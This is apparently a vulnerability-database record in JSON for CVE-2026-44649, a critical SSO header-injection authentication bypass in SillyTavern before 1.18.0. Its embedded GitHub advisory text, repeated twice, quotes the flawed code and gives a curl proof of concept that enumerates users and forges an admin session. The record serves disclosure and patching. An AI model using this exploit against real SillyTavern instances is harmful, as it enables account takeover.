{"id":"CVE-2026-44649","aliases":["EUVD-2026-33401","GHSA-gxx6-h3g6-vwjh"],"status":"published","title":"SillyTavern: Authentication Bypass via SSO Header Injection","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, SillyTavern accepts Remote-User (Authelia) and X-Authentik-Username (Authentik) HTTP headers to automatically log in users when SSO is configured. There is no validation that these headers originate from a trusted reverse proxy. Any network client that can reach the SillyTavern port directly can inject these headers and authenticate as any user, including administrators, without a password. This vulnerability is exploitable only when sso.autheliaAuth: true or sso.authentikAuth: true is set in config.yaml (both default to false). This vulnerability is fixed in 1.18.0.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00218,"percentile":0.12372,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-290","CWE-306","CWE-346","CWE-807"],"published":"2026-05-12T22:23:30Z","modified":"2026-10-28T02:31:00Z","fixes":[{"ecosystem":"npm","package":"sillytavern","fixed_in":["1.18.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"sillytavern","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.17.0"},{"fixed":"1.18.0"}]}]},{"source":"osv","ecosystem":"npm","package":"sillytavern","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.18.0"}]}]}],"products":[{"vendor":"sillytavern","product":"sillytavern"}],"references":[{"url":"https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-gxx6-h3g6-vwjh","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44649","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-gxx6-h3g6-vwjh"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44649.json","tags":["advisory"]},{"url":"https://github.com/SillyTavern/SillyTavern","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-44649","title":"SillyTavern: Authentication Bypass via SSO Header Injection","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, SillyTavern accepts Remote-User (Authelia) and X-Authentik-Username (Authentik) HTTP headers to automatically log in users when SSO is configured. There is no validation that these headers originate from a trusted reverse proxy. Any network client that can reach the SillyTavern port directly can inject these headers and authenticate as any user, including administrators, without a password. This vulnerability is exploitable only when sso.autheliaAuth: true or sso.authentikAuth: true is set in config.yaml (both default to false). This vulnerability is fixed in 1.18.0.","status":"published","published":"2026-05-29T17:45:26.073Z","modified":"2026-06-02T01:48:37.402Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-290","CWE-306","CWE-346","CWE-807"],"updated_at":"2026-11-02T13:42:49.132798Z"}],"euvd":[{"id":"EUVD-2026-33401","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, SillyTavern accepts Remote-User (Authelia) and X-Authentik-Username (Authentik) HTTP headers to automatically log in users when SSO is configured. There is no validation that these headers originate from a trusted reverse proxy. Any network client that can reach the SillyTavern port directly can inject these headers and authenticate as any user, including administrators, without a password. This vulnerability is exploitable only when sso.autheliaAuth: true or sso.authentikAuth: true is set in config.yaml (both default to false). This vulnerability is fixed in 1.18.0.","status":"published","published":"2026-05-29T17:45:26Z","modified":"2026-06-02T01:48:37Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:20:57.453624Z"}],"ghsa":[{"id":"GHSA-gxx6-h3g6-vwjh","title":"SillyTavern has Authentication Bypass via SSO Header Injection","description":"## Resolution\n\nSillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user's needs.\n\nDocumentation: https://docs.sillytavern.app/administration/sso/\n\n## Summary\n\nSillyTavern accepts `Remote-User` (Authelia) and `X-Authentik-Username` (Authentik) HTTP\nheaders to automatically log in users when SSO is configured. There is no validation that\nthese headers originate from a trusted reverse proxy. Any network client that can reach\nthe SillyTavern port directly can inject these headers and authenticate as any user,\nincluding administrators, without a password. This vulnerability is exploitable only when `sso.autheliaAuth: true` or\n`sso.authentikAuth: true` is set in `config.yaml` (both default to `false`).\n\n### Detials\n\nSillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the\n`tryAutoLogin` function (called on every request to `/login`) invokes `headerUserLogin`,\nwhich reads an HTTP header set by the upstream proxy and automatically creates an\nauthenticated session for the matching user:\n\n`src/users.js:779-801`:\n\n```js\nasync function headerUserLogin(request, header = 'Remote-User') {\n    if (!request.session) { return false; }\n\n    const remoteUser = request.get(header);  // reads any header from any client\n    if (!remoteUser) { return false; }\n\n    const userHandles = await getAllUserHandles();\n    for (const userHandle of userHandles) {\n        if (remoteUser.toLowerCase() === userHandle) {\n            const user = await storage.getItem(toKey(userHandle));\n            if (user \u0026\u0026 user.enabled) {\n                request.session.handle = userHandle; \n                return true;\n            }\n        }\n    }\n    return false;\n}\n```\n\n`request.get(header)` is Express's wrapper for `req.headers[name.toLowerCase()]`.\nExpress does not distinguish between headers set by a trusted upstream proxy and headers\ninjected by the end client. Without an IP allowlist check, any client can set\n`Remote-User: ` and receive an authenticated session cookie.\n\n### User Enumeration Pre-Condition\n\nThe `/api/users/list` endpoint is registered before `requireLoginMiddleware` in\n`src/server-main.js:236`, making it publicly accessible without authentication:\n\n`src/server-main.js:236,239`:\n```js\napp.use('/api/users', usersPublicRouter);  // line 236 (public)\napp.use(requireLoginMiddleware);           // line 239 (auth gate)\n```\n\n`src/endpoints/users-public.js:26-57`:\n```js\nrouter.post('/list', async (_request, response) =\u003e {\n    if (DISCREET_LOGIN) { return response.sendStatus(204); }\n    const users = await storage.values(x =\u003e x.key.startsWith(KEY_PREFIX));\n    return response.json(viewModels);  // returns handle, name, avatar, admin, password flags\n});\n```\n\nThis allows an attacker to enumerate all user handles (including admin handles) without\nany prior credentials.\n\n## PoC\n\n```bash\nTARGET=\"http://localhost:8000\"\n\n# enumerate users\ncurl -s -X POST \"$TARGET/api/users/list\" -H \"Content-Type: application/json\" -d '{}'\n\n# inject Remote-User header, receive authsession\ncurl -s -L \\\n  -H \"Remote-User: admin-user\" \\\n  -c /tmp/st-session.txt \\\n  \"$TARGET/login\"\n\n\n# obtain CSRF token, call admin API\nTOKEN=$(curl -s -b /tmp/st-session.txt \"$TARGET/csrf-token\" | python3 -c \"import sys,json; print(json.load(sys.stdin)['token'])\")\n\ncurl -s -X POST \"$TARGET/api/users/admin/get\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-CSRF-Token: $TOKEN\" \\\n  -b /tmp/st-session.txt \\\n  -d '{}'\n```\n\n---\n\n## Impact\n\nAn account takeover, allowing an attacker to do anything a legitimately authorized user can do.","status":"published","published":"2026-05-12T22:23:30Z","modified":"2026-06-09T10:32:10Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-290","CWE-306","CWE-346","CWE-807"],"updated_at":"2026-11-02T14:40:23.739691Z"}],"nvd":[{"id":"CVE-2026-44649","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, SillyTavern accepts Remote-User (Authelia) and X-Authentik-Username (Authentik) HTTP headers to automatically log in users when SSO is configured. There is no validation that these headers originate from a trusted reverse proxy. Any network client that can reach the SillyTavern port directly can inject these headers and authenticate as any user, including administrators, without a password. This vulnerability is exploitable only when sso.autheliaAuth: true or sso.authentikAuth: true is set in config.yaml (both default to false). This vulnerability is fixed in 1.18.0.","status":"published","published":"2026-05-29T19:16:24.72Z","modified":"2026-07-22T06:10:00.17Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-290","CWE-306","CWE-346","CWE-807"],"updated_at":"2026-11-02T14:12:21.635958Z"}],"osv":[{"id":"CVE-2026-44649","title":"SillyTavern: Authentication Bypass via SSO Header Injection","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, SillyTavern accepts Remote-User (Authelia) and X-Authentik-Username (Authentik) HTTP headers to automatically log in users when SSO is configured. There is no validation that these headers originate from a trusted reverse proxy. Any network client that can reach the SillyTavern port directly can inject these headers and authenticate as any user, including administrators, without a password. This vulnerability is exploitable only when sso.autheliaAuth: true or sso.authentikAuth: true is set in config.yaml (both default to false). This vulnerability is fixed in 1.18.0.","status":"published","published":"2026-05-29T17:45:26.073Z","modified":"2026-10-28T02:31:00.403499376Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-290","CWE-306","CWE-346","CWE-807"],"updated_at":"2026-11-02T15:45:05.172514Z"},{"id":"GHSA-gxx6-h3g6-vwjh","title":"SillyTavern has Authentication Bypass via SSO Header Injection","description":"## Resolution\n\nSillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user's needs.\n\nDocumentation: https://docs.sillytavern.app/administration/sso/\n\n## Summary\n\nSillyTavern accepts `Remote-User` (Authelia) and `X-Authentik-Username` (Authentik) HTTP\nheaders to automatically log in users when SSO is configured. There is no validation that\nthese headers originate from a trusted reverse proxy. Any network client that can reach\nthe SillyTavern port directly can inject these headers and authenticate as any user,\nincluding administrators, without a password. This vulnerability is exploitable only when `sso.autheliaAuth: true` or\n`sso.authentikAuth: true` is set in `config.yaml` (both default to `false`).\n\n### Detials\n\nSillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the\n`tryAutoLogin` function (called on every request to `/login`) invokes `headerUserLogin`,\nwhich reads an HTTP header set by the upstream proxy and automatically creates an\nauthenticated session for the matching user:\n\n`src/users.js:779-801`:\n\n```js\nasync function headerUserLogin(request, header = 'Remote-User') {\n    if (!request.session) { return false; }\n\n    const remoteUser = request.get(header);  // reads any header from any client\n    if (!remoteUser) { return false; }\n\n    const userHandles = await getAllUserHandles();\n    for (const userHandle of userHandles) {\n        if (remoteUser.toLowerCase() === userHandle) {\n            const user = await storage.getItem(toKey(userHandle));\n            if (user \u0026\u0026 user.enabled) {\n                request.session.handle = userHandle; \n                return true;\n            }\n        }\n    }\n    return false;\n}\n```\n\n`request.get(header)` is Express's wrapper for `req.headers[name.toLowerCase()]`.\nExpress does not distinguish between headers set by a trusted upstream proxy and headers\ninjected by the end client. Without an IP allowlist check, any client can set\n`Remote-User: ` and receive an authenticated session cookie.\n\n### User Enumeration Pre-Condition\n\nThe `/api/users/list` endpoint is registered before `requireLoginMiddleware` in\n`src/server-main.js:236`, making it publicly accessible without authentication:\n\n`src/server-main.js:236,239`:\n```js\napp.use('/api/users', usersPublicRouter);  // line 236 (public)\napp.use(requireLoginMiddleware);           // line 239 (auth gate)\n```\n\n`src/endpoints/users-public.js:26-57`:\n```js\nrouter.post('/list', async (_request, response) =\u003e {\n    if (DISCREET_LOGIN) { return response.sendStatus(204); }\n    const users = await storage.values(x =\u003e x.key.startsWith(KEY_PREFIX));\n    return response.json(viewModels);  // returns handle, name, avatar, admin, password flags\n});\n```\n\nThis allows an attacker to enumerate all user handles (including admin handles) without\nany prior credentials.\n\n## PoC\n\n```bash\nTARGET=\"http://localhost:8000\"\n\n# enumerate users\ncurl -s -X POST \"$TARGET/api/users/list\" -H \"Content-Type: application/json\" -d '{}'\n\n# inject Remote-User header, receive authsession\ncurl -s -L \\\n  -H \"Remote-User: admin-user\" \\\n  -c /tmp/st-session.txt \\\n  \"$TARGET/login\"\n\n\n# obtain CSRF token, call admin API\nTOKEN=$(curl -s -b /tmp/st-session.txt \"$TARGET/csrf-token\" | python3 -c \"import sys,json; print(json.load(sys.stdin)['token'])\")\n\ncurl -s -X POST \"$TARGET/api/users/admin/get\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-CSRF-Token: $TOKEN\" \\\n  -b /tmp/st-session.txt \\\n  -d '{}'\n```\n\n---\n\n## Impact\n\nAn account takeover, allowing an attacker to do anything a legitimately authorized user can do.","status":"published","published":"2026-05-12T22:23:30Z","modified":"2026-06-09T10:45:16.35409981Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-290","CWE-306","CWE-346","CWE-807"],"updated_at":"2026-11-02T15:46:48.546324Z"}]}}
